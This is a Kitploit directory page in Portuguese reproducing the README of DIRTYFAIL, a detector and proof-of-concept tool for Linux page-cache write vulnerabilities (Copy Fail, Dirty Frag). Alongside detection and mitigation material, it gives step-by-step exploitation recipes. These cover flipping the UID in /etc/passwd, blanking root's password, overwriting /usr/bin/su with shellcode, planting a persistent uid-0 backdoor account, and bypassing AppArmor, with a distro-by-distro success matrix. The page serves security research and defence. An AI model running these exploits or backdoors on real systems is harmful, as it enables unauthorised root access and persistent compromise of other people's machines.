Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
DIRTYFAIL — Detector + PoC para vulnerabilidades de escrita no page-cache do Linux: Copy Fail (CVE-2026-31431) e Dirty Frag (CVE-2026-43284/43500). Apenas pesquisa de segurança autorizada. | Kitploit
Ferramentas/GitHubGitHub/karazajac/dirtyfail
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoPapers e PesquisaAprendizado e EducaçãoRed TeamingEscape de ContêinerExploração de BináriosLabs e Prática
GitHubkarazajac/dirtyfail

DIRTYFAIL

2612há 3 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Detector + PoC para vulnerabilidades de escrita no page-cache do Linux: Copy Fail (CVE-2026-31431) e Dirty Frag (CVE-2026-43284/43500). Apenas pesquisa de segurança autorizada.

Ver Repositório

DIRTYFAIL

Um detector unificado e harness de PoC para as famílias de vulnerabilidades Copy Fail e Dirty Frag de escrita no page-cache do Linux.``` ██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗ ██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║ ██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║ ██║ ██║██║██╔══██╗ ██║ ╚██╔╝ ██╔══╝ ██╔══██║██║██║ ██████╔╝██║██║ ██║ ██║ ██║ ██║ ██║ ██║██║███████╗ ╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝

root@kitploit:~
DIRTYFAIL é uma ferramenta C pequena e bem documentada para pesquisadores de segurança.
Ela detecta se um host Linux é vulnerável às três CVEs desta
família e — com confirmação explícita e digitada — executa uma prova de
conceito real que coloca o chamador em um shell root em um
sistema vulnerável.

| CVE / variant | Name | DIRTYFAIL coverage |
|---|---|---|
| **CVE-2026-31431** | Copy Fail (algif_aead `authencesn` — escrita no page-cache) | Detecção + PoC completo |
| **CVE-2026-43284 v4** | Dirty Frag — escrita no page-cache do xfrm-ESP IPv4 | Detecção + PoC completo |
| **CVE-2026-43284 v6** | Dirty Frag — escrita no page-cache do xfrm-ESP IPv6 (`esp6`) | Detecção + PoC completo |
| **CVE-2026-43500** | Dirty Frag — escrita no page-cache do RxRPC | Detecção + PoC completo |
| Variante GCM do Copy Fail | Escrita no page-cache do xfrm-ESP `rfc4106(gcm(aes))` | Detecção + PoC completo |

**Modos bônus:**

- **`--scan --active`** — sondas ativas de sentinela-STORE. O `--scan` padrão
  relata as pré-condições por CVE (kernel, módulos, estado do LSM) além de uma
  sonda ativa da primitiva do Copy Fail. Adicionar `--active` estende
  a sonda STORE de arquivo sentinela para todas as outras quatro primitivas (ESP v4,
  ESP v6, RxRPC, GCM): cada uma dispara o gatilho do kernel contra um
  sentinela em `/tmp` e relata VULNERABLE somente se os bytes de marcação
  realmente chegarem. Esta é a única maneira de distinguir um kernel
  com patch backportado (pré-condições dizem vulnerável, mas a sonda diz intacto) de um
  sem patch sem executar o exploit completo. `/etc/passwd` nunca é
  tocado. Auto-calibra o deslocamento de STORE V6 por build do kernel.
- **`--exploit-backdoor`** — backdoor persistente de uid-0: sobrescrita
  com comprimento correspondente de uma linha `nologin`/`false`/`sync` em `/etc/passwd` com
  `dirtyfail::0:0:<pad>:/:/bin/bash`. Sobrevive à saída do shell até a página
  ser despejada. Estado armazenado em `/var/tmp/.dirtyfail.state` para
  `--cleanup-backdoor`. O nome de usuário `dirtyfail` é deliberadamente
  combinado com este projeto para que seja instantaneamente identificável em qualquer
  auditoria — altere `NEW_USER` em `src/backdoor.c` se precisar de um
  identificador diferente para um engajamento autorizado de red team.
- **Bypass do AppArmor** — contorna a política
  `apparmor_restrict_unprivileged_userns=1` do Ubuntu por meio de um re-exec
  `change_onexec("crun")` de salto único em um perfil não confinado que
  mantém as capacidades de userns. Cada modo de exploit lida com isso
  internamente via um fork: o pai permanece no namespace init, o filho faz
  a dança do bypass, o pai lê o page cache global e executa `su` para
  obter root REAL no init namespace. A flag legada `--aa-bypass` ainda existe para
  depurar a mecânica do bypass isoladamente. Veja [§8.5 Arquitetura](#85-architecture-outerinner-fork-based-bypass).

## Verificado funcionando em

O DIRTYFAIL foi **validado empiricamente de ponta a ponta** em múltiplas
distros e versões de kernel. A matriz abaixo reflete os resultados de teste por modo
da execução de cada modo `--exploit-*` em uma instalação limpa
de cada distro.

| Distro | Kernel | LSM | Copy Fail | xfrm-ESP v4 | xfrm-ESP v6 | RxRPC | GCM | Backdoor | SU shellcode |
|---|---|---|---|---|---|---|---|---|---|
| Ubuntu 24.04 LTS | `6.8.0-111-generic` | AppArmor | 🛡²  | ✅ | ✅ | ✅ | ✅¹ | ✅¹ | (não testado) |
| Debian 13.4 | `6.12.86+deb13` | nenhum | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡 | 🛡⁵ |
| AlmaLinux 10.1 | `6.12.0-124.8.1.el10_1` | SELinux | ✅ | ✅ | ✅ | ⏭³ | ✅ | ✅ | ✅ |
| Fedora 44 (Server) | `6.19.10-300.fc44` | SELinux | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
| Ubuntu 26.04 LTS | `7.0.0-15-generic` | AppArmor (reforçado) | 🛡 | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁴ | 🛡⁵ |

**Legenda:** ✅ exploit chegou e produziu root real no init namespace  · 🛡 mitigado — o exploit não consegue alcançar o bug do kernel (kernel corrigido OU LSM bloqueia o caminho não privilegiado)  · ⏭ não aplicável (pré-condição ausente)

### Validação de sonda ativa (`--scan --active`)

A flag `--active` adiciona uma sonda STORE de arquivo sentinela por CVE durante
a detecção. Validamos as saídas da sonda nas mesmas 4 distros
acima (Debian, Fedora, AlmaLinux, Ubuntu 26.04) — a matriz abaixo
mostra o veredito da sonda por modo e corresponde ao ground-truth
do exploit completo, um a um:

| Distro | Sonda Copy Fail | Sonda ESP v4 | Sonda ESP v6 | Sonda RxRPC | Sonda GCM |
|---|---|---|---|---|---|
| Debian 13.4 | intacto 🛡 | intacto 🛡 | intacto 🛡 | intacto 🛡 | intacto 🛡 |
| Fedora 44   | marcador @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | alteração de byte ✅ | sentinel[0] 0x41→0x27 ✅ |
| AlmaLinux 10.1 | marcador @0 ✅ | STORE @0 ✅ | STORE @8 ✅ | pré-condições ⏭ | sentinela alterada ✅ |
| Ubuntu 26.04 | intacto 🛡 | bloqueado por LSM 🛡 | bloqueado por LSM 🛡 | bloqueado por LSM 🛡 | bloqueado por LSM 🛡 |

O offset de aterrissagem do STORE da sonda V6 (8 no Fedora e no Alma) corresponde ao
`V6_STORE_SHIFT` empírico que `calibrate_v6_shift()` descobre em
tempo de execução — confirmando que a auto-calibração substitui corretamente a
constante anteriormente hard-coded em diferentes builds do kernel.

¹ GCM e Backdoor exigem que `algif_aead` seja carregável. O Ubuntu 24.04
traz `/etc/modprobe.d/disable-algif_aead.conf` que o coloca na blacklist como
mitigação do Copy Fail. Com a blacklist removida (por exemplo, em um kernel
anterior à mitigação), ambos os modos funcionam de ponta a ponta.

² O caminho algif_aead do Copy Fail é mitigado pela blacklist do modprobe;
a primitiva CVE subjacente no kernel é a mesma, esteja
`authencesn` acessível ou não. xfrm-ESP, RxRPC e a variante GCM todos
chegam ao mesmo kernel porque não passam por algif_aead.

³ O pacote `kernel-modules-extra` do AlmaLinux 10 não é instalado por
padrão em uma instalação Minimal, então `rxrpc.ko` está ausente no disco.
Instalar `kernel-modules-extra-$(uname -r)` do EPEL ou do repositório extras do AlmaLinux
traz o módulo de volta; em uma instalação mínima padrão, o RxRPC fica
inacessível.

⁴ **O Ubuntu 26.04 LTS bloqueia de forma abrangente a exploração não privilegiada.**
O kernel fornecido `7.0.0-15.15` (lançado em 2026-04-22) **é anterior ao
patch mainline `f4c50a4034e6` (mesclado em 2026-05-07) em ~2 semanas** — então
o bug AINDA está presente no kernel. A defesa do Ubuntu é
**defesa em profundidade via reforço do AppArmor**, não um patch de kernel:

- `apparmor_restrict_unprivileged_userns=1` está habilitado por padrão.
- Ao `unshare(CLONE_NEWUSER)`, a aplicação do AppArmor em nível de kernel
  faz transição automática de QUALQUER perfil (incluindo os marcados com `(unconfined)`
  como `crun`, `chrome` e o `unconfined` padrão) para um
  subperfil `<profile>//&unprivileged_userns (mixed)` que possui
  `audit deny capability`. O uid 0 dentro do novo userns não recebe caps.
- `change_onexec` para um perfil diferente não ajuda — até o
  perfil `crun` (que tem permissão explícita `userns,` e
  `flags=(unconfined)`) faz transição automática no unshare. Verificado via
  `aa-exec -p crun bash -c 'unshare -U -n cat /proc/self/attr/current'`
  → `crun//&unprivileged_userns (mixed)`.
- `newuidmap`/`newgidmap` (setuid root) escrevem com sucesso o uid_map,
  mas `setresuid(0)` então é bem-sucedido enquanto `ioctl(SIOCSIFFLAGS)` e
  todas as outras syscalls controladas por CAP_NET_ADMIN retornam EPERM porque a
  negação de capability é por namespace, não por uid.

O binário do DIRTYFAIL arma corretamente seu bypass e chega ao estágio 2,
mas não consegue adquirir CAP_NET_ADMIN dentro do novo userns. A infraestrutura do exploit
é bloqueada na camada LSM independentemente da técnica de
bypass. Testamos `change_onexec(crun)`, `change_onexec(chrome)`,
`aa-exec -p <profile>` e `unshare(USER|NET) + newuidmap` direto
— todos produzem o mesmo subperfil `unprivileged_userns`.

**Este é um bom trabalho de segurança da Canonical.** A classe de bug é
mitigada para usuários não privilegiados sem exigir recompilação do kernel.
Uma atualização estável subsequente provavelmente também trará o patch de kernel
adequado, completando a defesa.

⁵ **A injeção de shellcode do `--exploit-su`** depende da mesma primitiva
algif_aead de 4 bytes do Copy Fail (`cf_4byte_write`). Em kernels onde
o Copy Fail é corrigido (Debian 13.4) ou bloqueado por LSM (Ubuntu 26.04 — mas
o caminho algif_aead também foi corrigido no 7.0.0-15), a implantação é executada
normalmente, mas a etapa de verificação falha ("page cache does not match planted
shellcode") e a auto-reversão restaura `/usr/bin/su`. Testado
de ponta a ponta no AlmaLinux 10.1 (ponto de entrada no offset `0x45b0` do arquivo)
e no Fedora 44 (offset `0x1b60`); o parser de ELF lida com a base PIE de cada distro
de forma independente. Prova de root real no Fedora 44:
`uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`.

Reprodutibilidade do teste:

- Reinstalamos cada distro a partir de uma ISO limpa, configuramos autenticação por chave SSH + sudo NOPASSWD, clonamos e compilamos o DIRTYFAIL em cada uma, tiramos um snapshot `clean-build` do Parallels e então executamos todos os 5 modos de exploit com `--no-shell` (auto-reversão via fadvise + drop_caches).

- As linhas de resultados empíricos são derivadas da análise da saída real de `--exploit-*`, procurando pelos sinais de sucesso: `page cache now reports <user> with uid 0`, `root password field is now empty`, `is now uid 0` (backdoor), ou qualquer um dos padrões de falha (`write did not land`, `byte flip failed`, `setresuid: Invalid`, `add_rxrpc_key: No such device`, `page cache not in expected shape`).

- Para a verificação de "root real" do RxRPC e do Backdoor, executamos `echo "" | su - root` / `echo "" | su - dirtyfail` e confirmamos `uid=0(root)` além da leitura bem-sucedida de `/etc/shadow`.

> **Somente testes autorizados.** Use o DIRTYFAIL apenas em sistemas seus ou
> para os quais você foi explicitamente contratado para avaliar. Os modos de exploit corrompem
> `/etc/passwd` *no page cache do kernel* (o arquivo em disco nunca é
> tocado). A limpeza é feita com `dirtyfail --cleanup` ou
> `echo 3 > /proc/sys/vm/drop_caches`.

---

## Índice

1. [A classe de bug](#1-the-bug-class)
2. [CVE-2026-31431 — Copy Fail](#2-cve-2026-31431--copy-fail)
3. [CVE-2026-43284 — Dirty Frag (xfrm-ESP)](#3-cve-2026-43284--dirty-frag-xfrm-esp)
4. [CVE-2026-43500 — Dirty Frag (RxRPC)](#4-cve-2026-43500--dirty-frag-rxrpc)
    - [4.5 Visão geral da arquitetura](#45-architecture-overview)
5. [Compilação](#5-build)
6. [Uso](#6-usage)
7. [Como o DIRTYFAIL detecta cada CVE](#7-how-dirtyfail-detects-each-cve)
8. [Como o DIRTYFAIL explora cada CVE](#8-how-dirtyfail-exploits-each-cve)
    - [8.5 Arquitetura: bypass baseado em fork externo/interno](#85-architecture-outerinner-fork-based-bypass)
9. [Mitigações](#9-mitigations)
10. [Ética e divulgação](#10-ethics--disclosure)
11. [Créditos](#11-credits)

**Documentos complementares:**

- [`docs/DEFENDERS.md`](https://github.com/karazajac/dirtyfail/blob/HEAD/docs/DEFENDERS.md) — playbook para administradores de sistemas: estou vulnerável, como mitigar, o que monitorar.
- [`docs/RESEARCH.md`](https://github.com/karazajac/dirtyfail/blob/HEAD/docs/RESEARCH.md) — auditoria do código-fonte do kernel de caminhos adjacentes (AH, IPCOMP, MACsec, kTLS, etc.) para a mesma classe de bug.
- [`tools/dirtyfail-check.sh`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/dirtyfail-check.sh) — detector bash autônomo para administradores de sistemas (sem necessidade de compilação).
- [`tools/99-dirtyfail.rules`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/99-dirtyfail.rules) — regras auditd prontas para carregar para a cadeia de exploração.
- [`tools/dirtyfail-container-escape.sh`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/dirtyfail-container-escape.sh) — demonstração do raio de explosão entre namespaces.
- [`tools/exploit_su_aarch64.S`](https://github.com/karazajac/dirtyfail/blob/HEAD/tools/exploit_su_aarch64.S) — código-fonte do shellcode aarch64 (ARM64) para `--exploit-su`. Não testado em hardware; é distribuído atrás da proteção `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. Regenere os bytes correspondentes em `src/exploit_su.c` com `aarch64-linux-gnu-as` para verificar.

---

## 1. A classe de bug

**Vulnerabilidades de escrita no page-cache** permitem que um usuário não privilegiado modifique
a cópia em memória do kernel de um arquivo para o qual ele só tem acesso de leitura.
O arquivo em disco nunca é escrito; a modificação persiste na RAM
até que a página seja despejada (`drop_caches`, pressão de memória ou reinicialização).

Essa classe começou com o **Dirty Pipe** (CVE-2022-0847), que abusava
das flags de `pipe_buffer`. Copy Fail e Dirty Frag são descendentes que
visam o membro `frag` de `struct sk_buff` em vez disso. O mecanismo é
sempre o mesmo:

1. O userspace executa `splice()` de uma página do page-cache de um arquivo legível (ex.:
   `/etc/passwd`, `/usr/bin/su`) para o frag de um buffer do kernel.
2. Um caminho de recepção executa criptografia **in-place** nesse buffer — as mesmas
   páginas são origem e destino da operação.
3. A rotina de criptografia realiza um STORE "scratch" fora dos
   dados (um rearranjo de número de sequência, uma descriptografia de bloco único,
   etc.) que cai dentro da página fixada pelo usuário.
4. A cópia no page-cache do arquivo agora fica permanentemente modificada para
   todos os leitores do host, até que a página seja despejada.

Como o bug é uma **falha lógica determinística**, não uma condição de corrida, as taxas
de sucesso são essencialmente 100% e o kernel não entra em pânico em caso de falha.

---

## 2. CVE-2026-31431 — Copy Fail

* Divulgação: **2026-04-29**
* Site: <https://copy.fail/>
* PoC original (C):     [Smarttfoxx/copyfail](https://github.com/Smarttfoxx/copyfail)
* PoC original (Python): [rootsecdev/cve_2026_31431](https://github.com/rootsecdev/cve_2026_31431)
* Introduzido pelo commit:  `72548b093ee3` (2017)
* Corrigido pelo commit:       `a664bf3d` (mainline 6.12 / 6.17 / 6.18 stables)
* Afetados confirmados:    Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16

### Causa raiz

O módulo `algif_aead` do kernel expõe a API de criptografia AEAD para o
userspace via `AF_ALG`. O template `authencesn(hmac(sha256), cbc(aes))`
implementa o ESN (Extended Sequence Numbers) da RFC-4303; parte do
seu caminho de descriptografia realiza uma **escrita scratch de 4 bytes** para reorganizar
o número de sequência:```c
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
    /* Move high-order bits of sequence number to the end. */
    scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
    if (src == dst) {
        scatterwalk_map_and_copy(tmp,     dst, 4,                  4, 1);
        scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);  // ★
        ...

The STORE at ★ é inofensivo em um pacote IPsec normal — ele cai dentro da área de tag do skb, que pertence ao kernel. O template criptográfico assume que src e dst apontam para memória do kernel.

algif_aead viola essa suposição. Ele aceita splice() vindo do userspace, o que coloca páginas do page-cache no scatterlist da requisição. Como o AEAD executa in-place (req->dst = req->src), a página do page-cache agora fica no offset do scatterlist de destino que a escrita scratch atinge.

Os 4 bytes que são escritos são os bytes 4..7 do AAD que o userspace enviou — o campo "seqno_lo" de um cabeçalho ESP, que o atacante preenche com o que quiser.

Primitiva de rede: escrita de 4 bytes em offset arbitrário no page-cache de qualquer arquivo que o atacante consiga abrir com open(O_RDONLY).

Exploração

A arma mais simples é em /etc/passwd. Uma linha de usuário comum se parece com:``` kara❌1000:1000:Kara,,,:/home/kara:/bin/bash

root@kitploit:~
Inverter `1000` (o campo UID, exatamente 4 bytes ASCII para qualquer UID
1000–9999) para `0000` faz o `getpwnam()` da glibc relatar uid=0 para
esse usuário. PAM, no entanto, ainda autentica contra o `/etc/shadow` em disco
(que não é alterado), então `su <user>` solicita a senha real, valida-a,
então `setuid(0)` — e chega a root porque a cópia em cache de páginas
do `/etc/passwd` diz que somos root.

A integridade do `/etc/shadow` é preservada. O `/etc/passwd` em disco é
preservado. Apenas a cópia em RAM do kernel do `/etc/passwd` é corrompida,
e somente até `drop_caches` ou reinicialização.

---

## 3. CVE-2026-43284 — Dirty Frag (xfrm-ESP)

* Divulgação: **2026-04-30 → 2026-05-08**
* PoC original (C): [V4bel/dirtyfrag](https://github.com/V4bel/dirtyfrag)
* Pesquisador: Hyunwoo Kim ([@v4bel](https://x.com/v4bel))
* Introduzido pelo commit: `cac2661c53f3` (2017-01-17)
* Corrigido pelo commit:      `f4c50a4034e6` (mainline net.git, mesclado em 2026-05-07)
* Afetados confirmados:   Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed,
                        CentOS Stream 10, AlmaLinux 10, Fedora 44

### Causa raiz

`esp_input()` deve chamar `skb_cow_data()` antes da descriptografia AEAD
in-place quando um skb é não linear (ou seja, tem frags). O caminho de código
tem um curto-circuito:```c
if (!skb_cloned(skb)) {
    if (!skb_is_nonlinear(skb)) {
        nfrags = 1;
        goto skip_cow;
    } else if (!skb_has_frag_list(skb)) {        // ★ bug
        nfrags = skb_shinfo(skb)->nr_frags;
        nfrags++;
        goto skip_cow;
    }
}

Se o skb tem frags mas não frag_list, o esp_input ignora skb_cow_data e entrega o frag fornecido pelo usuário diretamente ao template AEAD. A mesma escrita temporária authencesn(...) que alimenta o Copy Fail então atinge o offset de arquivo (assoclen + cryptlen) da página emendada.

Os 4 bytes STOREd são seq_hi do estado replay_esn da SA — controlados pelo atacante no momento do registro da SA via atributo netlink XFRMA_REPLAY_ESN_VAL.

Custo: registrar uma SA XFRM exige CAP_NET_ADMIN, então o atacante entra em um novo namespace de usuário via unshare(CLONE_NEWUSER) primeiro. Isso é permitido por padrão na maioria das distros (o perfil endurecido do Ubuntu é a exceção notável).

Crucialmente, essa primitiva funciona mesmo quando a mitigação algif_aead Copy Fail está em vigor — o caminho do xfrm não passa por algif_aead. Um defensor que apenas colocou algif_aead na lista negra ainda está vulnerável ao Dirty Frag.

Exploração

O PoC publicado por V4bel grava um ELF estático de 192 bytes de "root-shell" sobre os primeiros 192 bytes do cache de página de /usr/bin/su, usando 48 STOREs sequenciais de 4 bytes. Após a modificação, execve("/usr/bin/su") executa o novo entry point do ELF com o bit setuid-root intacto, remove o PAM completamente e executa execve("/bin/sh") de dentro do shellcode.

O DIRTYFAIL adota a abordagem mais simples de inversão de UID no /etc/passwd (um STORE de 4 bytes — o mesmo alvo do Copy Fail) por dois motivos:

  1. É uma demonstração de primitiva de escrita única, mais fácil de estudar.
  2. É totalmente reversível com POSIX_FADV_DONTNEED e não deixa /usr/bin/su em um estado corrompido para os outros usuários do sistema.

4. CVE-2026-43500 — Dirty Frag (RxRPC)

  • Divulgação: 2026-04-29 → 2026-05-08
  • Patch: não está em nenhuma árvore em 2026-05-08; patch do pesquisador pendente: lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/
  • Pesquisador: Hyunwoo Kim (@v4bel)
  • Introduzido pelo commit: 2dc334f1a63a (2023-06)

Causa raiz

rxkad_verify_packet_1() executa uma descriptografia de bloco único in-place pcbc(fcrypt) nos primeiros 8 bytes de um pacote de dados RxRPC:```c sg_init_table(sg, ARRAY_SIZE(sg)); ret = skb_to_sgvec(skb, sg, sp->offset, 8); memset(&iv, 0, sizeof(iv)); skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // ★ src == dst ret = crypto_skcipher_decrypt(req); // ★ 8-byte STORE

root@kitploit:~
Se uma página do page-cache foi inserida via splice no frag do skb, a descriptografia de 8 bytes é executada sobre ela.

**Diferença em relação ao xfrm-ESP**: os 8 bytes que sofrem o STORE são `fcrypt_decrypt(C, K)`, onde `C` é o ciphertext existente naquele offset do arquivo e `K` é a chave de sessão de um token RxRPC v1 que o atacante registrou via `add_key("rxrpc", ...)`. O atacante não controla o valor do STORE diretamente — ele precisa fazer brute-force em `K` até que `fcrypt_decrypt(C, K)` produza o plaintext desejado.

`fcrypt` é uma cifra do Andrew File System com chave de **56 bits** e bloco de 8 bytes. Ela é determinística; porta-se de forma limpa para o espaço de usuário; e seu espaço de chaves é pequeno o suficiente para que um alvo restrito de 8 bytes possa ser forçado por brute-force em milissegundos a segundos, dependendo do orçamento de restrições.

**Crucialmente, este caminho NÃO precisa de privilégios de namespace** — `add_key`, `socket(AF_RXRPC)`, `socket(AF_ALG)`, `splice` estão todos disponíveis para qualquer usuário sem privilégios. O RxRPC preenche essa lacuna no perfil hardened-userns do Ubuntu (onde xfrm-ESP é bloqueado) porque `rxrpc.ko` acompanha a build padrão do Ubuntu.

### Exploração

O exploit completo:

1. Faça brute-force em `K_A`, `K_B`, `K_C` no espaço de usuário de modo que os três STOREs nos offsets 4, 6, 8 de `/etc/passwd` produzam `"::"`, `"0:"`, `"0:GGGGGG:"` respectivamente (última escrita vence).
2. Para cada `K_i`, registre um token RxRPC v1 com `add_key`, execute um handshake AF_RXRPC forjado contra um servidor UDP falso no mesmo processo e acione `rxkad_verify_packet_1` via splice.
3. A cópia no page-cache da linha 1 de `/etc/passwd` agora é `root::0:0:GGGGGG:/root:/bin/bash` — um campo de senha vazio.
4. O PAM com `pam_unix.so nullok` aceita a senha vazia; `su -` abre um shell root.

### Cobertura do DIRTYFAIL

O DIRTYFAIL inclui **tanto** detecção quanto um PoC completo para esta CVE.

A implementação do DIRTYFAIL está em `src/dirtyfrag_rxrpc.c` e `src/fcrypt.c`:

- **Cifra fcrypt** (`fcrypt.c`): chave de 56 bits, bloco de 8 bytes, Feistel de 16 rodadas; S-boxes padrão do protocolo rxkad. Inclui um harness de brute-force de núcleo único (~18 Mops/s) que busca no espaço de chaves até que um plaintext candidato satisfaça um predicado fornecido pelo chamador.
- **Checksum rxkad** (`compute_csum_iv`, `compute_cksum`): fórmula do kernel reproduzida via AF_ALG `pcbc(fcrypt)` para que o cksum no wire em nosso pacote DATA forjado passe pela validação de `rxkad_verify_packet`.
- **Construção do token RxRPC v1** (`build_rxrpc_v1_token`): token rxkad codificado em XDR registrado via `add_key("rxrpc", ...)` com nossa chave de sessão forçada por brute-force.
- **Cliente AF_RXRPC + servidor falso UDP**: o cliente inicia uma chamada, o servidor falso extrai (epoch, cid, callNumber) do primeiro pacote e emite um CHALLENGE forjado para que o cliente inicialize `conn->rxkad.cipher` com nossa chave.
- **Trigger de splice** (`do_one_trigger`): vmsplice do cabeçalho de wire DATA forjado → splice de 8 bytes de `/etc/passwd` → splice pipe → udp_srv → recvmsg conduz o kernel através de `rxkad_verify_packet_1` → STORE de 8 bytes.
- **Cadeia de 3 splices com correção de ciphertext encadeado**: faça brute-force de K_A / K_B / K_C, aplicando o deslocamento do ciphertext encadeado entre as passadas (após o splice A sobrescrever os bytes 4..11, o ciphertext do splice B em 6..13 começa com `P_A[2..7]`; o mesmo para C contra B).

O PoC final transforma a linha 1 de `/etc/passwd` para:```
root::0:0:GGGGG:/root:/bin/bash

— campo de senha vazio — e execlp("su", "-") então abre um shell root porque pam_unix.so nullok aceita uma senha vazia.

Para comparação e verificação contra o PoC upstream, veja o exp.c do V4bel: https://github.com/V4bel/dirtyfrag.


4.5 Visão geral da arquitetura

O DIRTYFAIL é um binário C único construído a partir de ~10 módulos-fonte. A estrutura de alto nível:``` ┌─────────────────────────────────────────┐ │ dirtyfail (CLI) │ │ src/dirtyfail.c — argv → mode dispatch │ └────────────────┬────────────────────────┘ │ ┌──────────────────┬───────┼───────┬─────────────────┬───────────┐ │ │ │ │ │ │ ▼ ▼ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌─────────────────┐ ┌──────────────┐ ┌──────────┐ ┌────────────┐ │ --scan │ │ --exploit-* │ │ --backdoor │ │--mitigate│ │ --cleanup* │ │ (detect.c) │ │ (5 modes) │ │ install + │ │ defense │ │ revert │ │ │ │ │ │ cleanup │ │ │ │ │ └──────┬───────┘ └────────┬────────┘ └──────┬───────┘ └────┬─────┘ └────────────┘ │ │ │ │ │ ┌────────────────┼──────────────────┼────────────────┘ │ │ │ │ ▼ ▼ ▼ ▼ ┌──────────────┐ ┌──────────────────┐ ┌──────────────────┐ │ apparmor_ │ │ outer (init ns) │ │ cfg_1byte_write │ │ bypass.c │ │ → fork → child │ │ (gcm primitive) │ │ │ │ outer/inner │ │ │ │ * sysctl │ │ split │ │ used by gcm + │ │ * caps_blocked │ │ │ backdoor for │ │ * fork_arm │ │ parent stays │ │ arbitrary-byte │ └──────┬───────┘ │ in init ns, │ │ writes │ │ │ child re-execs │ └────────┬─────────┘ │ │ via change_ │ │ ▼ │ onexec(crun) + │ ▼ ┌──────────────┐ │ AA stage 1/2 │ ┌──────────────────┐ │ stage 1/2 │ │ unshare + caps │ │ AF_ALG ecb(aes) │ │ handler │ │ → run inner │ │ keystream brute │ └──────────────┘ └──────────────────┘ │ force │ └──────────────────┘

Per-CVE primitives (each has detect/exploit/exploit_inner functions):

┌──────────────────────────────────────────────────────────────────────┐ │ copyfail.c algif_aead authencesn 4-byte STORE (CVE-2026-31431) │ │ copyfail_gcm.c rfc4106(gcm(aes)) 1-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp.c xfrm-ESP IPv4 4-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp6.c xfrm-ESP IPv6 4-byte STORE w/ +9 (CVE-2026-43284) │ │ dirtyfrag_rxrpc.c rxkad 8-byte STORE + fcrypt brute (CVE-2026-43500) │ │ fcrypt.c rxkad cipher (56-bit Feistel) │ │ backdoor.c persistent /etc/passwd line overwrite │ └──────────────────────────────────────────────────────────────────────┘

root@kitploit:~
**Principais decisões de design:**

- **Divisão externo/interno**: cada exploit faz fork de um filho para o trabalho
  no kernel. O processo pai permanece no namespace init para que o eventual
  `execlp("su",
  user)` alcance a raiz REAL do init-ns. Ver [§8.5
  Arquitetura](#85-architecture-outerinner-fork-based-bypass).
- **O cache de páginas é global**: o filho escreve de dentro do seu userns de bypass,
  o pai lê do init ns; os mesmos bytes são visíveis.
- **Variáveis de ambiente transportam estado do pai → filho**: `DIRTYFAIL_INNER_MODE`,
  `DIRTYFAIL_TARGET_USER`, `DIRTYFAIL_K_{A,B,C}` (rxrpc),
  `DIRTYFAIL_LINE_OFF` etc. (backdoor). O `execv` preserva o
  ambiente entre transições de estágio.
- **Companheiro defensivo**: `--mitigate` implanta as mesmas listas negras +
  endurecimento via sysctl que as distribuições fornecem como mitigações oficiais.
  O `--scan` detecta quando as capabilities estão bloqueadas por LSM e relata
  "mitigated" em vez do enganoso "VULNERABLE preconditions met".

---

## 5. Compilação

### Pré-requisitos

* **Linux** (este binário é exclusivo para Linux em tempo de execução).
* `gcc` ou `clang`, `make`.
* Cabeçalhos UAPI do Linux — especificamente `<linux/xfrm.h>`, `<linux/netlink.h>`,
  `<linux/rtnetlink.h>`, `<linux/if.h>`.

| Distribuição      | Instalação                                          |
|-------------------|-----------------------------------------------------|
| Debian / Ubuntu   | `sudo apt install build-essential linux-libc-dev`   |
| RHEL / CentOS     | `sudo dnf install gcc make kernel-headers glibc-devel` |
| Fedora            | `sudo dnf install gcc make kernel-headers`          |
| Arch              | `sudo pacman -S base-devel`                         |

### Comandos de compilação```sh
git clone https://github.com/<you>/DIRTYFAIL.git
cd DIRTYFAIL
make                # release build → ./dirtyfail
make debug          # -O0 -g3 for gdb
make static         # static link (musl-gcc recommended)
make clean

A compilação padrão produz um único binário de ~80 KB em ./dirtyfail. Para uma compilação portátil que execute em qualquer Linux compatível com o kernel, sem desvio de dependências do glibc:```sh make static CC=musl-gcc

root@kitploit:~
(instale `musl-tools` no Debian/Ubuntu, ou compile musl a partir do código-fonte).

---

## 6. Uso

`./dirtyfail --help` é a referência canônica; os modos divididos por categoria:

**Detecção (seguro; sem modificação do sistema):**

| Modo | O que faz |
|---|---|
| `--scan` | Executa todos os cinco detectores (modo padrão) |
